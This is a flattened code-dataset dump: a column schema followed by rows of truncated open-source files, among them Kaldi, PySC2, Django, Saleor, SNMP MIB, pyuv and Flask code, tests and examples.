hexsha
stringlengths
40
40
size
int64
4
996k
ext
stringclasses
8 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
245
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
245
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
245
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
4
996k
avg_line_length
float64
1.33
58.2k
max_line_length
int64
2
323k
alphanum_fraction
float64
0
0.97
content_no_comment
stringlengths
0
946k
is_comment_constant_removed
bool
2 classes
is_sharp_comment_removed
bool
1 class
790af2f23140922bac8d9d20a58e89a9cdc76d25
19,129
py
Python
egs/wsj/s5/utils/lang/make_lexicon_fst.py
shuipi100/kaldi
8e30fddb300a87e7c79ef2c0b9c731a8a9fd23f0
[ "Apache-2.0" ]
74
2017-01-10T21:27:24.000Z
2022-03-05T07:30:30.000Z
egs/wsj/s5/utils/lang/make_lexicon_fst.py
shuipi100/kaldi
8e30fddb300a87e7c79ef2c0b9c731a8a9fd23f0
[ "Apache-2.0" ]
55
2020-10-20T02:18:56.000Z
2021-07-26T04:52:23.000Z
egs/wsj/s5/utils/lang/make_lexicon_fst.py
shuipi100/kaldi
8e30fddb300a87e7c79ef2c0b9c731a8a9fd23f0
[ "Apache-2.0" ]
28
2017-01-23T10:49:04.000Z
2022-03-05T07:30:21.000Z
#!/usr/bin/env python3 # Copyright 2018 Johns Hopkins University (author: Daniel Povey) # Apache 2.0. # see get_args() below for usage message. import argparse import os import sys import math import re # The use of latin-1 encoding does not preclude reading utf-8. latin-1 # encoding means "treat words as sequen...
46.429612
115
0.603429
import argparse import os import sys import math import re sys.stdout = open(1, 'w', encoding='latin-1', closefd=False) sys.stderr = open(2, 'w', encoding='latin-1', closefd=False) def get_args(): parser = argparse.ArgumentParser(description="""This script creates the text form of a lexicon FST,...
true
true
790af397daafc9c5a23868ff8a12ad7ae0b28ccd
1,710
py
Python
vega/datasets/transforms/RandomMirrow_pair.py
jie311/vega
1bba6100ead802697e691403b951e6652a99ccae
[ "MIT" ]
724
2020-06-22T12:05:30.000Z
2022-03-31T07:10:54.000Z
vega/datasets/transforms/RandomMirrow_pair.py
jie311/vega
1bba6100ead802697e691403b951e6652a99ccae
[ "MIT" ]
147
2020-06-30T13:34:46.000Z
2022-03-29T11:30:17.000Z
vega/datasets/transforms/RandomMirrow_pair.py
jie311/vega
1bba6100ead802697e691403b951e6652a99ccae
[ "MIT" ]
160
2020-06-29T18:27:58.000Z
2022-03-23T08:42:21.000Z
# -*- coding: utf-8 -*- # Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved. # This program is free software; you can redistribute it and/or modify # it under the terms of the MIT License. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the...
38.863636
106
0.65731
import numpy as np from vega.common import ClassFactory, ClassType @ClassFactory.register(ClassType.TRANSFORM) class RandomMirrow_pair(object): def __call__(self, image, label): flip = np.random.choice(2) * 2 - 1 channels_image = image.shape[-1] channels_label = label.shape[-1] ...
true
true
790af5bb0ce3b02e55df6524c2c36c1ba99bae7f
853
py
Python
revitron/transaction.py
YKato521/revitron-for-RevitPythonShell
031a87997a00902bf16ca9ef6bb05f5cae26e044
[ "MIT" ]
null
null
null
revitron/transaction.py
YKato521/revitron-for-RevitPythonShell
031a87997a00902bf16ca9ef6bb05f5cae26e044
[ "MIT" ]
null
null
null
revitron/transaction.py
YKato521/revitron-for-RevitPythonShell
031a87997a00902bf16ca9ef6bb05f5cae26e044
[ "MIT" ]
null
null
null
""" The ``transaction`` submodule contains a wrapper class to simplify the usage of transactions:: t = revitron.Transaction() ... t.close() """ # from pyrevit import script class Transaction: """ A transaction helper class. """ def __init__(self): """ Inits a...
21.325
95
0.532239
class Transaction: def __init__(self): import revitron bundle = script.get_bundle_name().replace('.pushbutton', '') self.transaction = revitron.DB.Transaction(revitron.DOC, bundle) self.transaction.Start() def commit(self): self.tr...
true
true
790af5c1ffd0a46710ca769801ece6193ae64d0f
576
py
Python
setup.py
tkhieu/pusher_client_python
2af2ceee06daf5b95eed2833760143ebe5b91946
[ "MIT" ]
null
null
null
setup.py
tkhieu/pusher_client_python
2af2ceee06daf5b95eed2833760143ebe5b91946
[ "MIT" ]
null
null
null
setup.py
tkhieu/pusher_client_python
2af2ceee06daf5b95eed2833760143ebe5b91946
[ "MIT" ]
null
null
null
from setuptools import setup setup( name='pusher', version='0.8', description='A Python library for sending messages to Pusher', author='Pusher', author_email='support@pusher.com', url='http://pusher.com', packages=['pusher'], classifiers=[ "License :: OSI Approved :: MIT Licens...
27.428571
66
0.616319
from setuptools import setup setup( name='pusher', version='0.8', description='A Python library for sending messages to Pusher', author='Pusher', author_email='support@pusher.com', url='http://pusher.com', packages=['pusher'], classifiers=[ "License :: OSI Approved :: MIT Licens...
true
true
790af7237a25c95231de99572d94e2ea9aacf918
10,878
py
Python
7. Using Reward for Agent/reward_agent.py
Yudonggeun/PySC2-Tutorial
80449c3b5774a58e8ee6490379890e9abd60a11a
[ "Apache-2.0" ]
2
2018-11-13T14:17:47.000Z
2018-11-14T12:37:20.000Z
7. Using Reward for Agent/reward_agent.py
Tao-Chengyang/PySC2-Tutorial
80449c3b5774a58e8ee6490379890e9abd60a11a
[ "Apache-2.0" ]
null
null
null
7. Using Reward for Agent/reward_agent.py
Tao-Chengyang/PySC2-Tutorial
80449c3b5774a58e8ee6490379890e9abd60a11a
[ "Apache-2.0" ]
1
2019-09-02T08:15:43.000Z
2019-09-02T08:15:43.000Z
import random import math import os.path import numpy as np import pandas as pd from pysc2.agents import base_agent from pysc2.lib import actions from pysc2.lib import features _NO_OP = actions.FUNCTIONS.no_op.id _SELECT_POINT = actions.FUNCTIONS.select_point.id _BUILD_SUPPLY_DEPOT = actions.FUNCTIONS.Build_SupplyDe...
36.503356
119
0.602041
import random import math import os.path import numpy as np import pandas as pd from pysc2.agents import base_agent from pysc2.lib import actions from pysc2.lib import features _NO_OP = actions.FUNCTIONS.no_op.id _SELECT_POINT = actions.FUNCTIONS.select_point.id _BUILD_SUPPLY_DEPOT = actions.FUNCTIONS.Build_SupplyDe...
true
true
790af7bd2d5fe80e00cfb7791746b8974f1179bf
9,230
py
Python
examples/example_02_categorical.py
jcheong0428/pymer4
7e98fa28f5fdc01e8f786e381179c6b36067ef90
[ "MIT" ]
127
2017-06-02T16:49:38.000Z
2022-03-18T03:45:55.000Z
examples/example_02_categorical.py
jarrelscy/pymer4
248c25c0c17918c7a2ed61d86f42f7188e9aad94
[ "MIT" ]
90
2017-05-08T07:30:24.000Z
2022-03-29T18:26:18.000Z
examples/example_02_categorical.py
jarrelscy/pymer4
248c25c0c17918c7a2ed61d86f42f7188e9aad94
[ "MIT" ]
26
2017-11-23T17:41:49.000Z
2022-03-04T16:10:55.000Z
""" 2. Categorical Predictors ========================= """ ############################################################################### # The syntax for handling categorical predictors is **different** between standard regression models/two-stage-models (i.e. :code:`Lm` and :code:`Lm2`) and multi-level models (:co...
69.398496
843
0.638245
true
true
790af93b3af2ccf93c2c689dc115ea0a93b74347
777
py
Python
userbot/plugins/bot_stats.py
felapr1804/TechnoAyanBOT
74faac1aae1c350b0583a5e6405b414d6947162c
[ "MIT" ]
null
null
null
userbot/plugins/bot_stats.py
felapr1804/TechnoAyanBOT
74faac1aae1c350b0583a5e6405b414d6947162c
[ "MIT" ]
null
null
null
userbot/plugins/bot_stats.py
felapr1804/TechnoAyanBOT
74faac1aae1c350b0583a5e6405b414d6947162c
[ "MIT" ]
null
null
null
# @ayushk780 # Big Thanks To Spechide and @TechnoAyanBoT """Counth: Avaible commands: .bstats """ import asyncio from telethon import events from uniborg.util import admin_cmd, humanbytes,get_readable_time import shutil import time from userbot import botStartTime @borg.on(admin_cmd(pattern=r"bstats")) async def _(e...
25.9
65
0.646075
import asyncio from telethon import events from uniborg.util import admin_cmd, humanbytes,get_readable_time import shutil import time from userbot import botStartTime @borg.on(admin_cmd(pattern=r"bstats")) async def _(event): if event.fwd_from: return currentTime = get_readable_time((time.time...
true
true
790afb6e4dca3da075a86e2048b42967f34a0fb7
1,427
py
Python
Lights/adafruit-circuitpython-bundle-6.x-mpy-20210310/examples/lis3dh_adc.py
IanSMoyes/SpiderPi
cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1
[ "Apache-2.0" ]
7
2021-03-15T10:06:20.000Z
2022-03-23T02:53:15.000Z
Lights/adafruit-circuitpython-bundle-6.x-mpy-20210310/examples/lis3dh_adc.py
IanSMoyes/SpiderPi
cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1
[ "Apache-2.0" ]
5
2021-04-27T18:21:11.000Z
2021-05-02T14:17:14.000Z
Lights/adafruit-circuitpython-bundle-6.x-mpy-20210310/examples/lis3dh_adc.py
IanSMoyes/SpiderPi
cc3469980ae87b92d0dc43c05dbd579f0fa8c4b1
[ "Apache-2.0" ]
null
null
null
# SPDX-FileCopyrightText: 2021 ladyada for Adafruit Industries # SPDX-License-Identifier: MIT # Analog to digital converter example. # Will loop forever printing ADC channel 1 raw and mV values every second. # NOTE the ADC can only read voltages in the range of ~900mV to 1800mV! import time import board impo...
32.431818
85
0.715487
import time import board import busio import adafruit_lis3dh if hasattr(board, "ACCELEROMETER_SCL"): i2c = busio.I2C(board.ACCELEROMETER_SCL, board.ACCELEROMETER_SDA) lis3dh = adafruit_lis3dh.LIS3DH_I2C(i2c, address=0x19) else: i2c = busio.I2C(board.SCL, board.SDA) lis3dh = a...
true
true
790afb8cdb3bfff53ceaff937c98d36c80e733ff
79,390
py
Python
tests/textcode/test_analysis.py
pombredanne/scancode-toolkit
0d90a0498148997de94f92b00adf7e33079a41a8
[ "Apache-2.0", "CC0-1.0" ]
3
2015-07-01T15:08:33.000Z
2015-11-05T03:15:36.000Z
tests/textcode/test_analysis.py
pombredanne/scancode-toolkit
0d90a0498148997de94f92b00adf7e33079a41a8
[ "Apache-2.0", "CC0-1.0" ]
null
null
null
tests/textcode/test_analysis.py
pombredanne/scancode-toolkit
0d90a0498148997de94f92b00adf7e33079a41a8
[ "Apache-2.0", "CC0-1.0" ]
null
null
null
# # Copyright (c) 2015 nexB Inc. and others. All rights reserved. # http://nexb.com and https://github.com/nexB/scancode-toolkit/ # The ScanCode software is licensed under the Apache License version 2.0. # Data generated with ScanCode require an acknowledgment. # ScanCode is a trademark of nexB Inc. # # You may not use...
63.972603
143
0.649402
from __future__ import absolute_import, print_function import json import os import codecs import cPickle from unittest.case import skipIf from commoncode.testcase import FileBasedTesting from textcode.analysis import DEFAULT_GAP from textcode.analysis import NO_GAP from textcode.analysis imp...
true
true
790afbc9aeeb08b0b8b41599887496d1db936b30
630
py
Python
BasicOperations/05_Pandas/05_Pandas_02_groupby.py
UpSea/midProjects
ed6086e74f68b1b89f725abe0b270e67cf8993a8
[ "MIT" ]
1
2018-07-02T13:54:49.000Z
2018-07-02T13:54:49.000Z
BasicOperations/05_Pandas/05_Pandas_02_groupby.py
UpSea/midProjects
ed6086e74f68b1b89f725abe0b270e67cf8993a8
[ "MIT" ]
null
null
null
BasicOperations/05_Pandas/05_Pandas_02_groupby.py
UpSea/midProjects
ed6086e74f68b1b89f725abe0b270e67cf8993a8
[ "MIT" ]
3
2016-05-28T15:13:02.000Z
2021-04-10T06:04:25.000Z
import pandas as pd import numpy as np df = pd.DataFrame(np.random.randn(10,3),columns=['a','b','c'],index=list('abcdefghij')) print(df) df.ix[::2,0] = np.nan; df.ix[::4,1] = np.nan; df.ix[::3,2] = np.nan; df = df.dropna(subset=['a','b']) #mid delete rows where df['htm3']==na bins = np.arange(-3,3,0.1) bins = [-10...
26.25
87
0.631746
import pandas as pd import numpy as np df = pd.DataFrame(np.random.randn(10,3),columns=['a','b','c'],index=list('abcdefghij')) print(df) df.ix[::2,0] = np.nan; df.ix[::4,1] = np.nan; df.ix[::3,2] = np.nan; df = df.dropna(subset=['a','b']) bins = np.arange(-3,3,0.1) bins = [-100,0,100] indices = np.digitize(df.a,b...
true
true
790afc2450ce2af23351778162b454ecb9eac51c
1,375
py
Python
__init__.py
wolfy1339/Kenni
5885b5e600c6cb4a1db2ad82ec0f5b24d3fc0b4f
[ "EFL-2.0" ]
null
null
null
__init__.py
wolfy1339/Kenni
5885b5e600c6cb4a1db2ad82ec0f5b24d3fc0b4f
[ "EFL-2.0" ]
null
null
null
__init__.py
wolfy1339/Kenni
5885b5e600c6cb4a1db2ad82ec0f5b24d3fc0b4f
[ "EFL-2.0" ]
null
null
null
#!/usr/bin/env python3 import sys, os, time, threading, signal import bot class Watcher(object): # Cf. http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/496735 def __init__(self): self.child = os.fork() if self.child != 0: self.watch() def watch(self): try: os.wai...
24.122807
80
0.584
import sys, os, time, threading, signal import bot class Watcher(object): def __init__(self): self.child = os.fork() if self.child != 0: self.watch() def watch(self): try: os.wait() except KeyboardInterrupt: self.kill() sys.exit() def ...
true
true
790afd1d19d32dd258ab61a4b68347d143f85086
6,633
py
Python
app/recipe/tests/test_recipe_api.py
jamie-chapman/django-exercise-recipe-app
0ad569c747ca3dc538dbda1d1035a2d2c438f43b
[ "MIT" ]
null
null
null
app/recipe/tests/test_recipe_api.py
jamie-chapman/django-exercise-recipe-app
0ad569c747ca3dc538dbda1d1035a2d2c438f43b
[ "MIT" ]
null
null
null
app/recipe/tests/test_recipe_api.py
jamie-chapman/django-exercise-recipe-app
0ad569c747ca3dc538dbda1d1035a2d2c438f43b
[ "MIT" ]
null
null
null
from django.test import TestCase from django.urls import reverse from rest_framework.test import APIClient from rest_framework import status from core.models import Recipe, Ingredient RECIPE_URL = reverse('recipe:recipe-list') def recipe_url(id): """Construct URL for a single recipe based on its ID""" retu...
31.889423
79
0.599276
from django.test import TestCase from django.urls import reverse from rest_framework.test import APIClient from rest_framework import status from core.models import Recipe, Ingredient RECIPE_URL = reverse('recipe:recipe-list') def recipe_url(id): return reverse('recipe:recipe-detail', args=[id]) def create_s...
true
true
790afdca3defef0b96aa368a82626bcd7132e02d
4,324
py
Python
cogs/errorhandler.py
ZackHart2400/miso-bot
bbdcf65e1c5ed1dfe472f91804dcc39ae556dd83
[ "MIT" ]
null
null
null
cogs/errorhandler.py
ZackHart2400/miso-bot
bbdcf65e1c5ed1dfe472f91804dcc39ae556dd83
[ "MIT" ]
null
null
null
cogs/errorhandler.py
ZackHart2400/miso-bot
bbdcf65e1c5ed1dfe472f91804dcc39ae556dd83
[ "MIT" ]
null
null
null
import traceback import discord import asyncio from discord.ext import commands, flags from helpers import exceptions, log, utilityfunctions as util from data import database as db logger = log.get_logger(__name__) command_logger = log.get_logger("commands") class Events(commands.Cog): def __init__(self, bot): ...
37.929825
113
0.598289
import traceback import discord import asyncio from discord.ext import commands, flags from helpers import exceptions, log, utilityfunctions as util from data import database as db logger = log.get_logger(__name__) command_logger = log.get_logger("commands") class Events(commands.Cog): def __init__(self, bot): ...
true
true
790afdcdd7b5cfeedf70ea27145720e97263e4f9
1,445
py
Python
saleor/invoice/notifications.py
nestfiy/saleor
6fce3bc5c0ca72ac28db99553e6d2b49249c6dac
[ "CC-BY-4.0" ]
1,392
2021-10-06T15:54:28.000Z
2022-03-31T20:50:55.000Z
saleor/invoice/notifications.py
nestfiy/saleor
6fce3bc5c0ca72ac28db99553e6d2b49249c6dac
[ "CC-BY-4.0" ]
888
2021-10-06T10:48:54.000Z
2022-03-31T11:00:30.000Z
saleor/invoice/notifications.py
nestfiy/saleor
6fce3bc5c0ca72ac28db99553e6d2b49249c6dac
[ "CC-BY-4.0" ]
538
2021-10-07T16:21:27.000Z
2022-03-31T22:58:57.000Z
from typing import TYPE_CHECKING, Optional from ..core.notification.utils import get_site_context from ..core.notify_events import NotifyEventType from ..graphql.core.utils import to_global_id_or_none if TYPE_CHECKING: from ..account.models import User from ..app.models import App from ..plugins.manager i...
32.111111
85
0.703806
from typing import TYPE_CHECKING, Optional from ..core.notification.utils import get_site_context from ..core.notify_events import NotifyEventType from ..graphql.core.utils import to_global_id_or_none if TYPE_CHECKING: from ..account.models import User from ..app.models import App from ..plugins.manager i...
true
true
790aff716ab055d6948c46123148d87a7e4705e8
1,069
py
Python
google/ads/googleads/v8/services/services/hotel_group_view_service/transports/__init__.py
wxxlouisa/google-ads-python
f24137966f6bfcb765a9b1fae79f2d23041825fe
[ "Apache-2.0" ]
285
2018-10-05T16:47:58.000Z
2022-03-31T00:58:39.000Z
google/ads/googleads/v8/services/services/hotel_group_view_service/transports/__init__.py
wxxlouisa/google-ads-python
f24137966f6bfcb765a9b1fae79f2d23041825fe
[ "Apache-2.0" ]
425
2018-09-10T13:32:41.000Z
2022-03-31T14:50:05.000Z
google/ads/googleads/v8/services/services/hotel_group_view_service/transports/__init__.py
wxxlouisa/google-ads-python
f24137966f6bfcb765a9b1fae79f2d23041825fe
[ "Apache-2.0" ]
369
2018-11-28T07:01:00.000Z
2022-03-28T09:53:22.000Z
# -*- coding: utf-8 -*- # Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or...
31.441176
74
0.77362
from collections import OrderedDict from typing import Dict, Type from .base import HotelGroupViewServiceTransport from .grpc import HotelGroupViewServiceGrpcTransport _transport_registry = ( OrderedDict() ) _transport_registry["grpc"] = HotelGroupViewServiceGrpcTransport __all__ = ( "Hot...
true
true
790aff9d5310c04a944f7830aa3dbdbd7daeda78
467
py
Python
filter_contigs.py
MullinsLab/HHV8-assembly-SPades
74f5853bd1e7c1af7f306343ebcd9ac919fda92f
[ "MIT" ]
7
2016-10-05T23:43:33.000Z
2021-07-06T18:36:41.000Z
filter_contigs.py
MullinsLab/HHV8-assembly-SPades
74f5853bd1e7c1af7f306343ebcd9ac919fda92f
[ "MIT" ]
1
2015-11-25T07:14:24.000Z
2016-01-28T15:07:41.000Z
filter_contigs.py
MullinsLab/HHV8-assembly-SPades
74f5853bd1e7c1af7f306343ebcd9ac919fda92f
[ "MIT" ]
4
2016-10-11T17:34:51.000Z
2020-03-16T14:26:36.000Z
#!/usr/bin/env python import sys from Bio import SeqIO min_length, fasta_file_path = sys.argv[1:] with open(fasta_file_path.replace('fa', 'filter{}.fa'.format(min_length)), 'w') as filtered_fasta: with open(fasta_file_path, 'rU') as input_fasta: def filtered_contigs_generator(min): for contig in SeqIO.parse(input...
38.916667
98
0.745182
import sys from Bio import SeqIO min_length, fasta_file_path = sys.argv[1:] with open(fasta_file_path.replace('fa', 'filter{}.fa'.format(min_length)), 'w') as filtered_fasta: with open(fasta_file_path, 'rU') as input_fasta: def filtered_contigs_generator(min): for contig in SeqIO.parse(input_fasta, 'fasta'): ...
true
true
790affc4694b91c99c2711674937cfa282c5fc8f
25,716
py
Python
pysnmp-with-texts/INT-SERV-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
8
2019-05-09T17:04:00.000Z
2021-06-09T06:50:51.000Z
pysnmp-with-texts/INT-SERV-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
4
2019-05-31T16:42:59.000Z
2020-01-31T21:57:17.000Z
pysnmp-with-texts/INT-SERV-MIB.py
agustinhenze/mibs.snmplabs.com
1fc5c07860542b89212f4c8ab807057d9a9206c7
[ "Apache-2.0" ]
10
2019-04-30T05:51:36.000Z
2022-02-16T03:33:41.000Z
# # PySNMP MIB module INT-SERV-MIB (http://snmplabs.com/pysmi) # ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/INT-SERV-MIB # Produced by pysmi-0.3.4 at Wed May 1 12:18:45 2019 # On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4 # Using Python version 3.7.3 (default, Mar 27 2019,...
129.878788
2,054
0.780876
ObjectIdentifier, OctetString, Integer = mibBuilder.importSymbols("ASN1", "ObjectIdentifier", "OctetString", "Integer") NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues") ValueRangeConstraint, ConstraintsUnion, SingleValueConstraint, ConstraintsIntersection, ValueSizeConstraint = mibBuild...
true
true
790b019a1dd927ca2c40f6dbe2c1d45b69a5be99
8,792
py
Python
Python/IFRA.py
iMohannad/Random_Recording_Algorithm
138113dab004fdaac36d91968a01d8e2c6e34681
[ "MIT" ]
null
null
null
Python/IFRA.py
iMohannad/Random_Recording_Algorithm
138113dab004fdaac36d91968a01d8e2c6e34681
[ "MIT" ]
null
null
null
Python/IFRA.py
iMohannad/Random_Recording_Algorithm
138113dab004fdaac36d91968a01d8e2c6e34681
[ "MIT" ]
null
null
null
import math import random import time def average_density(rdr): countZeros = 0 length = 0 for i in rdr: length = length + 1 if (i == 0): countZeros = countZeros + 1 return [length - countZeros, length] def check_rdr(rdr): for i in range (0, len(rdr)-1): ...
42.679612
968
0.535942
import math import random import time def average_density(rdr): countZeros = 0 length = 0 for i in rdr: length = length + 1 if (i == 0): countZeros = countZeros + 1 return [length - countZeros, length] def check_rdr(rdr): for i in range (0, len(rdr)-1): ...
false
true
790b01b1c205b5dea6dd4f8d22dcd97188b5f521
4,031
py
Python
object_detection_app.py
Prasad9/Detect-Flags-SSD
c0d662bde99ed8df33d72bd06d61d5eb869d31a5
[ "MIT" ]
13
2017-11-08T07:09:13.000Z
2022-03-28T07:09:47.000Z
object_detection_app.py
Prasad9/Detect-Flags-SSD
c0d662bde99ed8df33d72bd06d61d5eb869d31a5
[ "MIT" ]
3
2018-03-08T04:30:19.000Z
2019-01-03T15:47:24.000Z
object_detection_app.py
Prasad9/Detect-Flags-SSD
c0d662bde99ed8df33d72bd06d61d5eb869d31a5
[ "MIT" ]
5
2018-01-15T15:26:44.000Z
2021-08-18T08:02:51.000Z
import os import cv2 import time import argparse import multiprocessing import numpy as np import tools.find_mxnet import mxnet as mx import sys from detect.image_detector import ImageDetector from symbol.symbol_factory import get_symbol from utils import WebcamVideoStream class_names = 'Argentina, Australia, Bhutan,...
41.556701
112
0.711734
import os import cv2 import time import argparse import multiprocessing import numpy as np import tools.find_mxnet import mxnet as mx import sys from detect.image_detector import ImageDetector from symbol.symbol_factory import get_symbol from utils import WebcamVideoStream class_names = 'Argentina, Australia, Bhutan,...
true
true
790b01d343e3c9f073136f2bbba4dff70bc167a1
7,604
py
Python
data/crop_and_pad_augmentations.py
rexxxx1234/SAUNet-demo
20e968e1d42217c89cdf4fc304ed2d8717697eec
[ "BSD-3-Clause" ]
81
2020-01-22T20:26:36.000Z
2022-03-03T09:34:17.000Z
data/crop_and_pad_augmentations.py
saunetcvpr2020/shape-attentive-unet
c309fd705fd7b572c80813ab688cc594ed026ad7
[ "BSD-3-Clause" ]
10
2020-04-22T15:47:11.000Z
2021-09-05T02:24:41.000Z
data/crop_and_pad_augmentations.py
rexxxx1234/SAUNet-demo
20e968e1d42217c89cdf4fc304ed2d8717697eec
[ "BSD-3-Clause" ]
18
2020-01-23T07:24:35.000Z
2021-09-17T08:46:09.000Z
# Copyright 2017 Division of Medical Image Computing, German Cancer Research Center (DKFZ) # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 #...
44.209302
121
0.642951
from builtins import range import numpy as np from batchgenerators.augmentations.utils import pad_nd_image def center_crop(data, crop_size, seg=None): return crop(data, seg, crop_size, 0, 'center') def get_lbs_for_random_crop(crop_size, data_shape, margins): lbs = [] for i in range(len(dat...
true
true
790b02247d23dd0853cbf0a6b0028ba2c23b6b70
4,497
py
Python
tests/test_ipc.py
benoitc/pyuv
51a2f8687e3b6cd54af5ce81aabfc00b7fe40a18
[ "MIT" ]
1
2020-01-21T11:10:38.000Z
2020-01-21T11:10:38.000Z
tests/test_ipc.py
benoitc/pyuv
51a2f8687e3b6cd54af5ce81aabfc00b7fe40a18
[ "MIT" ]
null
null
null
tests/test_ipc.py
benoitc/pyuv
51a2f8687e3b6cd54af5ce81aabfc00b7fe40a18
[ "MIT" ]
null
null
null
import sys from common import unittest2, platform_skip import pyuv TEST_PORT = 1234 if sys.platform == 'win32': TEST_PIPE = '\\\\.\\pipe\\test-pipe' else: TEST_PIPE = 'test-pipe' @platform_skip(["win32"]) class IPCTest(unittest2.TestCase): def setUp(self): self.loop = pyuv.Loop.default_loop()...
37.165289
136
0.648655
import sys from common import unittest2, platform_skip import pyuv TEST_PORT = 1234 if sys.platform == 'win32': TEST_PIPE = '\\\\.\\pipe\\test-pipe' else: TEST_PIPE = 'test-pipe' @platform_skip(["win32"]) class IPCTest(unittest2.TestCase): def setUp(self): self.loop = pyuv.Loop.default_loop()...
true
true
790b035b77f1a16e7ef28d292d46cfac5ec2ace2
11,257
py
Python
src/eduid_userdb/tests/test_logs.py
SUNET/eduid-userdb
5970880caf0b0e2bdee6c23869ef287acc87af2a
[ "BSD-2-Clause-FreeBSD" ]
null
null
null
src/eduid_userdb/tests/test_logs.py
SUNET/eduid-userdb
5970880caf0b0e2bdee6c23869ef287acc87af2a
[ "BSD-2-Clause-FreeBSD" ]
12
2015-08-28T12:05:32.000Z
2020-06-23T13:31:29.000Z
src/eduid_userdb/tests/test_logs.py
SUNET/eduid-userdb
5970880caf0b0e2bdee6c23869ef287acc87af2a
[ "BSD-2-Clause-FreeBSD" ]
2
2016-10-24T06:37:33.000Z
2016-11-21T11:39:39.000Z
# -*- coding: utf-8 -*- from copy import deepcopy from unittest import TestCase from eduid_userdb.fixtures.users import mocked_user_standard from eduid_userdb.logs.db import ProofingLog from eduid_userdb.logs.element import ( LetterProofing, MailAddressProofing, PhoneNumberProofing, ProofingLogElement...
40.203571
99
0.616416
from copy import deepcopy from unittest import TestCase from eduid_userdb.fixtures.users import mocked_user_standard from eduid_userdb.logs.db import ProofingLog from eduid_userdb.logs.element import ( LetterProofing, MailAddressProofing, PhoneNumberProofing, ProofingLogElement, SeLegProofing, ...
true
true
790b036e68901d1876285f11feba3daadc8966dd
1,795
py
Python
aioanticaptcha/geetestproxyon.py
andrersp/aioanticaptcha
a9ec56ecd75371c9efed87eb874c3276b60e5461
[ "MIT" ]
null
null
null
aioanticaptcha/geetestproxyon.py
andrersp/aioanticaptcha
a9ec56ecd75371c9efed87eb874c3276b60e5461
[ "MIT" ]
null
null
null
aioanticaptcha/geetestproxyon.py
andrersp/aioanticaptcha
a9ec56ecd75371c9efed87eb874c3276b60e5461
[ "MIT" ]
null
null
null
from aioanticaptcha.antinetworking import * import asyncio class geetestProxyon(antiNetworking): js_api_domain = "" gt = "" challenge = "" geetest_lib = "" async def solve_and_return_solution(self): if ( await self.create_task( { "clientKey...
30.423729
72
0.494708
from aioanticaptcha.antinetworking import * import asyncio class geetestProxyon(antiNetworking): js_api_domain = "" gt = "" challenge = "" geetest_lib = "" async def solve_and_return_solution(self): if ( await self.create_task( { "clientKey...
true
true
790b038deca2b72154b1317ed77167b94ea5b07b
1,373
py
Python
app/auth/views.py
mwerumuchai/jukebox
eb6e7e94fb4a228e3b66477ca2ed0fcbe4c44691
[ "MIT" ]
null
null
null
app/auth/views.py
mwerumuchai/jukebox
eb6e7e94fb4a228e3b66477ca2ed0fcbe4c44691
[ "MIT" ]
null
null
null
app/auth/views.py
mwerumuchai/jukebox
eb6e7e94fb4a228e3b66477ca2ed0fcbe4c44691
[ "MIT" ]
2
2018-10-26T20:08:04.000Z
2020-07-23T22:08:43.000Z
from flask import render_template,redirect,url_for,request,flash from . import auth from ..models import Group from .forms import RegistrationForm,LoginForm from .. import db from flask_login import login_user,logout_user,login_required @auth.route('/login', methods=["GET", "POST"]) def login(): login_form = Logi...
24.517857
91
0.697742
from flask import render_template,redirect,url_for,request,flash from . import auth from ..models import Group from .forms import RegistrationForm,LoginForm from .. import db from flask_login import login_user,logout_user,login_required @auth.route('/login', methods=["GET", "POST"]) def login(): login_form = Logi...
true
true
790b052bd7820426511155774e42497715bf9ea3
9,377
py
Python
genecast_package/core.py
861934367/genecast
b4c5710aef526f4e3bdf0ba3594dab583068eca3
[ "Apache-2.0" ]
null
null
null
genecast_package/core.py
861934367/genecast
b4c5710aef526f4e3bdf0ba3594dab583068eca3
[ "Apache-2.0" ]
null
null
null
genecast_package/core.py
861934367/genecast
b4c5710aef526f4e3bdf0ba3594dab583068eca3
[ "Apache-2.0" ]
null
null
null
## this tool is the core function of cnv and snv analysis ## author: taozhou ## email: zhou.tao@genecast.com.cn import matplotlib as mpl mpl.use('Agg') import warnings warnings.filterwarnings("ignore") import itertools import seaborn as sns import matplotlib.pylab as plt import matplotlib.colors as mc from genecast_pa...
39.23431
156
0.630266
ools import seaborn as sns import matplotlib.pylab as plt import matplotlib.colors as mc from genecast_package.svm_analysis import feature_select, evaluate_model from sklearn.decomposition import PCA from collections import OrderedDict from collections import defaultdict import datetime import pandas as pd from scipy.s...
true
true
790b0587c2415c64ec38f584c0c79b320ea5c5f0
500
py
Python
